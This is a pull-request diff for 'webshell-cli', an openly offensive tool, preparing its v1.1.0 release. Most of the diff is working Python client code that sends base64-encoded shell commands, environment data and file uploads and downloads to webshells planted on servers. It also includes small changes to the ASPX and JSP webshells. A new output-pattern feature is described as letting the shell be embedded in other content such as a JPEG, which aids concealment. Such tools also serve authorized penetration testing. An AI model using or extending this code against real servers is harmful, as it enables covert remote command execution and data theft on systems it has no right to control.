Merge pull request #1 from qtc-de/develop

Prepare v1.1.0 Release

Author: qtc-de

CHANGELOG.md

@@ -6,12 +6,35 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
 and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
 
 
+## [1.1.0] - Aug 07, 2022
+
+### Added
+
+* Added support for *Basic Authentication* using the `--username` and `--password` options.
+* Added support for custom *HTTP headers* using the `-H` option.
+
+### Changed
+
+* *webshell-cli* now uses patterns to detect webshell output within of server responses.
+  This is useful, when you have to embed the webshell into other content (e.g. a *JPEG* file).
+
+### Checksums (SHA256):
+
+* `webshell.php`: `812cbbf7fd27976ab0576ead9f565c54eb2f41500c7b3da9bde06f0f7c6f89e6`
+* `webshell.jsp`: `1c06b43aa06decd1d2a5e1be4a4aeb6c4db325f42018dcd920eeb686c9108586`
+* `webshell.aspx`: `6294b0be29209434152ac7c16980229e5d44a0d70ee514940d611f22a1e2441a`
+* `webshell-cli.py`: `aa3f7138537e1680d2c623f01faa7bbc7c5b7e1a25a338713c30ae02b3dea021`
+
+
 ## [1.0.0] - Apr 29, 2022
 
 ### Initial Release
 
-* Checksums (SHA256):
-    - `webshell.php`: `df8568952cb93a5ffb4becef0f31c98988a434eef2819b372aad78396e0c663f`
-    - `webshell.jsp`: `9e909081e9e74de4a798eb4be9118c037d34ad7f91e5b4a17dc5e9f736b5c156`
-    - `webshell.aspx`: `95f7caca59183eaa899b57946c9e5e9dbc1a96c077dce2b416228fe764ecee88`
-    - `webshell-cli.py`: `e8a879bf19acccc3ee490bd19527ed9459b749d8108c722ebac7e52fe6dcd953`
+:)
+
+### Checksums (SHA256):
+
+* `webshell.php`: `df8568952cb93a5ffb4becef0f31c98988a434eef2819b372aad78396e0c663f`
+* `webshell.jsp`: `9e909081e9e74de4a798eb4be9118c037d34ad7f91e5b4a17dc5e9f736b5c156`
+* `webshell.aspx`: `95f7caca59183eaa899b57946c9e5e9dbc1a96c077dce2b416228fe764ecee88`
+* `webshell-cli.py`: `e8a879bf19acccc3ee490bd19527ed9459b749d8108c722ebac7e52fe6dcd953`

README.md

@@ -10,7 +10,7 @@ variables and allows easy uploads and downloads of files.
 ![](https://github.com/qtc-de/webshell-cli/workflows/develop%20Python%20CI/badge.svg?branch=develop)
 [![](https://img.shields.io/badge/version-1.0.0-blue)](https://github.com/qtc-de/webshell-cli/releases)
 ![](https://img.shields.io/badge/python-9%2b-blue)
-[![](https://img.shields.io/badge/license-GPL%20v3.0-blue)](https://github.com/qtc-de/container-arsenal/blob/master/LICENSE)
+[![](https://img.shields.io/badge/license-GPL%20v3.0-blue)](https://github.com/qtc-de/webshell-cli/blob/master/LICENSE)
 
 
 

docs/specification.md

@@ -6,6 +6,16 @@ This document specifies the requirements a webshell needs to implement to be com
 with *webshell-cli*.
 
 
+### pattern
+
+----
+
+*webshell-cli* includes a parameter within name `pattern` in each request. The webshell
+on the server side is expected to return the result of a *webshell-cli* call enclosed
+within this pattern (`<pattern><result><pattern>`). This allows *webshell-cli* to find
+the shell output, even if other data is contained within the response.
+
+
 ### chdir
 
 ----

webshell-cli.py

@@ -1,6 +1,8 @@
 #!/usr/bin/python3 -W ignore
 
+import re
 import sys
+import uuid
 import shlex
 import base64
 import pathlib
@@ -46,12 +48,24 @@ class ParameterCountException(Exception):
     '''
 
 
+class PatternNotFoundException(Exception):
+    '''
+    When the webshell pattern cannot be found within the output.
+    '''
+
+
 class InvalidProtocolException(Exception):
     '''
     When the user specified URL uses an invalid protocol.
     '''
 
 
+class InvalidHeaderException(Exception):
+    '''
+    When the user specified an invalid HTTP header.
+    '''
+
+
 def prepare_url(url: str) -> str:
     '''
     Parses the user specified URL and adds an HTTP prefix if required.
@@ -178,6 +192,7 @@ class Webshell:
     The webshell class is used to interact with a webshell.
     '''
     action = 'action'
+    pattern = 'pattern'
     cmd_param = 'b64_cmd'
     env_param = 'b64_env'
     back_param = 'back'
@@ -192,7 +207,7 @@ class Webshell:
     upload_action = 'upload'
     download_action = 'download'
 
-    def __init__(self, url: str, shell: str) -> None:
+    def __init__(self, url: str, shell: str, pattern: str, username: str, password: str, headers: str) -> None:
         '''
         Initializes a webshell object. The only really required parameter is
         the URL the webshell is reachable on. The shell parameter can be
@@ -202,6 +217,10 @@ def __init__(self, url: str, shell: str) -> None:
         Parameters:
             url             The URL of the webshell
             shell           Shell command to use on the server side
+            pattern         Optional pattern to find the shell response
+            username        Username to use for basic authentication
+            password        Password to use for basic authentication
+            headers         Additional HTTP headers
 
         Returns:
             None
@@ -218,6 +237,24 @@ def __init__(self, url: str, shell: str) -> None:
         self.posix = None
         self.path_func = None
 
+        self.pattern = pattern if pattern is not None else uuid.uuid4().hex
+        self.regex = re.compile(re.escape(self.pattern) + '(.+)' + re.escape(self.pattern))
+
+        self.session = requests.Session()
+
+        if username is not None and password is not None:
+            self.session.auth = (username, password)
+
+        try:
+
+            for header in headers:
+
+                key, value = header.split(':', 1)
+                self.session.headers.update({key: value.strip()})
+
+        except ValueError:
+            raise InvalidHeaderException(f'The specified header value {header} is invalid.')
+
         self.init()
 
     def init(self) -> None:
@@ -230,8 +267,13 @@ def init(self) -> None:
         Returns:
             None
         '''
-        response = requests.post(self.url, data={Webshell.action: Webshell.init_action})
-        result = Webshell.get_response(response, 'init')
+        data = {
+                 Webshell.action: Webshell.init_action,
+                 Webshell.pattern: self.pattern,
+               }
+
+        response = self.session.post(self.url, data=data)
+        result = self.get_response(response, 'init')
 
         sep, self.type, self.user, self.host, self.path = self.get_values(result, 5, True, False)
 
@@ -330,6 +372,7 @@ def issue_command(self, cmd: str, background: bool = False) -> str:
                  Webshell.cmd_param: b64(f'{self.shell}{cmd}'),
                  Webshell.chdir_param: b64(self.path),
                  Webshell.env_param: self.get_env(),
+                 Webshell.pattern: self.pattern,
                }
 
         if background:
@@ -341,15 +384,15 @@ def issue_command(self, cmd: str, background: bool = False) -> str:
             data[Webshell.cmd_param] = b64(f'{self.shell}{cmd}')
 
             try:
-                requests.post(self.url, data=data, timeout=0.0000000001)
+                self.session.post(self.url, data=data, timeout=0.0000000001)
 
             except requests.exceptions.ReadTimeout:
                 pass
 
         else:
 
-            response = requests.post(self.url, data=data)
-            result = Webshell.get_response(response, 'issue_command')
+            response = self.session.post(self.url, data=data)
+            result = self.get_response(response, 'issue_command')
 
             result, self.path = self.get_values(result, 2, True)
             return result
@@ -387,10 +430,11 @@ def eval(self, cmd: str) -> str:
                  Webshell.chdir_param: b64(self.path),
                  Webshell.env_param: self.get_env(),
                  Webshell.upload_param: b64(content),
+                 Webshell.pattern: self.pattern,
                }
 
-        response = requests.post(self.url, data=data)
-        Webshell.get_response(response, 'eval')
+        response = self.session.post(self.url, data=data)
+        self.get_response(response, 'eval')
 
         return f'[+] {path.absolute()} was evaluated by the server.'
 
@@ -409,13 +453,22 @@ def change_directory(self, cmd: str = None) -> str:
         if not cmd.startswith('cd'):
             raise InternalError('change_directory was called despite cd not used.')
 
-        _, path = cmd.split(' ', 1)
+        try:
+            _, path = cmd.split(' ', 1)
+
+        except ValueError:
+            raise ValueError('Usage: cd <DIR>')
 
         if not self.path_func(path).is_absolute() and self.path is not None:
             path = self.path.joinpath(path)
 
-        response = requests.post(self.url, data={Webshell.chdir_param: b64(normpath(path))})
-        result = Webshell.get_response(response, 'change_directory')
+        data = {
+                 Webshell.chdir_param: b64(normpath(path)),
+                 Webshell.pattern: self.pattern,
+               }
+
+        response = self.session.post(self.url, data=data)
+        result = self.get_response(response, 'change_directory')
 
         self.path = self.get_values(result, 1, True)[0]
 
@@ -453,11 +506,12 @@ def upload_file(self, cmd: str) -> str:
                          Webshell.upload_param: b64(content),
                          Webshell.filename_param: b64(rfile),
                          Webshell.chdir_param: b64(self.path),
-                         Webshell.orig_param: b64(lfile.name)
+                         Webshell.orig_param: b64(lfile.name),
+                         Webshell.pattern: self.pattern,
                        }
 
-        response = requests.post(self.url, data=request_data)
-        Webshell.get_response(response, 'upload_file')
+        response = self.session.post(self.url, data=request_data)
+        self.get_response(response, 'upload_file')
 
         return f'[+] Uploaded {len(content)} Bytes to {rfile}'
 
@@ -488,11 +542,12 @@ def download_file(self, cmd: str) -> str:
         request_data = {
                           Webshell.action: Webshell.download_action,
                           Webshell.filename_param: b64(rfile),
-                          Webshell.chdir_param: b64(self.path)
+                          Webshell.chdir_param: b64(self.path),
+                          Webshell.pattern: self.pattern,
                        }
 
-        response = requests.post(self.url, data=request_data)
-        result = Webshell.get_response(response, 'download_file')
+        response = self.session.post(self.url, data=request_data)
+        result = self.get_response(response, 'download_file')
 
         content, _ = self.get_values(result, 2, False)
 
@@ -548,7 +603,7 @@ def get_values(self, data: str, count: int, decode: bool = False, path: bool = T
 
         return return_value
 
-    def get_response(response: requests.Response, action: str) -> str:
+    def get_response(self, response: requests.Response, action: str) -> str:
         '''
         Extracts the HTTP response text and handles some common errors.
         The status code 202 is expected to be returned if the requested
@@ -563,16 +618,21 @@ def get_response(response: requests.Response, action: str) -> str:
         Returns:
             str         extracted response text
         '''
-        if response.status_code == 202:
-            message = b64d(response.text).decode()
-            raise InvalidDirectoryException(message)
-
-        if response.status_code != 200:
+        if response.status_code != 200 and response.status_code != 202:
             message = f'HTTP status code for {action}: {response.status_code}'
-            message += ' - ' + response.text if response.text else ''
+            message += ' - Server response:\n' + response.text if response.text else ''
             raise ServerError(message)
 
-        return response.text
+        result = self.regex.search(response.text)
+
+        if not result:
+            raise PatternNotFoundException(f'Pattern {self.pattern} was not found in the server output.')
+
+        if response.status_code == 202:
+            message = b64d(result.groups(1)[0]).decode()
+            raise InvalidDirectoryException(message)
+
+        return result.groups(1)[0]
 
     def get_files(self, cmd: str, path_func1: Callable, path_func2: Callable) -> tuple:
         '''
@@ -699,10 +759,14 @@ def handle_cmd(self, cmd: str) -> str:
 parser = argparse.ArgumentParser(description='''webshell-cli v1.0.0 - A simple command line interface for webshells''')
 parser.add_argument('url', help='url of the webshell')
 parser.add_argument('-m', '--memory', action='store_true', help='use InMemoryHistory instead of FileHistory')
-parser.add_argument('-f', '--file-history', default=history, help=f'location of history file (default: {history})')
-parser.add_argument('-s', '--shell', default=None, help='use the specified shell command (e.g. "powershell -c")')
-args = parser.parse_args()
+parser.add_argument('-f', '--file-history', metavar='file', default=history, help=f'history file (default: {history})')
+parser.add_argument('-s', '--shell', metavar='shell', help='use the specified shell command (e.g. "powershell -c")')
+parser.add_argument('--pattern', metavar='pattern', help='pattern to identify webshell output (default: random)')
+parser.add_argument('-u', '--username', metavar='user', help='username for basic authentication')
+parser.add_argument('-p', '--password', metavar='pass', help='password for basic authentication')
+parser.add_argument('-H', '--header', metavar='header', nargs='*', default=[], help='additional HTTP headers')
 
+args = parser.parse_args()
 check_shell(args.shell)
 
 try:
@@ -717,7 +781,7 @@ def handle_cmd(self, cmd: str) -> str:
         history = FileHistory(args.file_history)
 
     url = prepare_url(args.url)
-    webshell = Webshell(url, args.shell)
+    webshell = Webshell(url, args.shell, args.pattern, args.username, args.password, args.header)
     webshell.cmd_loop(history)
 
 except ServerError as e:
@@ -728,6 +792,14 @@ def handle_cmd(self, cmd: str) -> str:
     print('[-] Server response contained an unexpected amount of parameters.')
     print(f'[-] Webshell at {args.url} is not functional.')
 
+except PatternNotFoundException as e:
+    print('[-] Caught PatternNotFoundException while parsing server response.')
+    print(f'[-] Error: {e}')
+
+except InvalidHeaderException as e:
+    print('[-] Caught InvalidHeaderException while preparing request.')
+    print(f'[-] Error: {e}')
+
 except IsADirectoryError as e:
     print('[-] The specified filename is an existing directory:')
     print(f'[-] {e}')

webshells/webshell.aspx

@@ -18,6 +18,8 @@
 
     public void Page_Load(Object s, EventArgs e)
     {
+        Response.Write(Request.Params["pattern"]);
+
         try {
 
             string cwd = System.IO.Directory.GetCurrentDirectory();
@@ -31,6 +33,7 @@
                 if (!System.IO.Directory.Exists(cwd)) {
                     Response.StatusCode = 202;
                     pb64("Error: Unable to change directory to " + cwd, false);
+                    Response.Write(Request.Params["pattern"]);
                     return;
                 }
             }
@@ -96,5 +99,7 @@
             Response.StatusCode = 201;
             Response.Write("Caught unexpected " + ex.GetType().Name + ": " + ex.Message);
         }
+
+        Response.Write(Request.Params["pattern"]);
     }
 </script>

webshells/webshell.jsp

@@ -110,11 +110,13 @@ public void process(JspWriter out, HttpServletRequest request, HttpServletRespon
 %>
 
 <%
+out.print(request.getParameter("pattern"));
 try {
     process(out, request, response);
 
 } catch (IOException e) {
     response.setStatus(201);
     out.print("Caught unexpected " + e.getClass().getName() + ": " + e.getMessage());
 }
+out.print(request.getParameter("pattern"));
 %>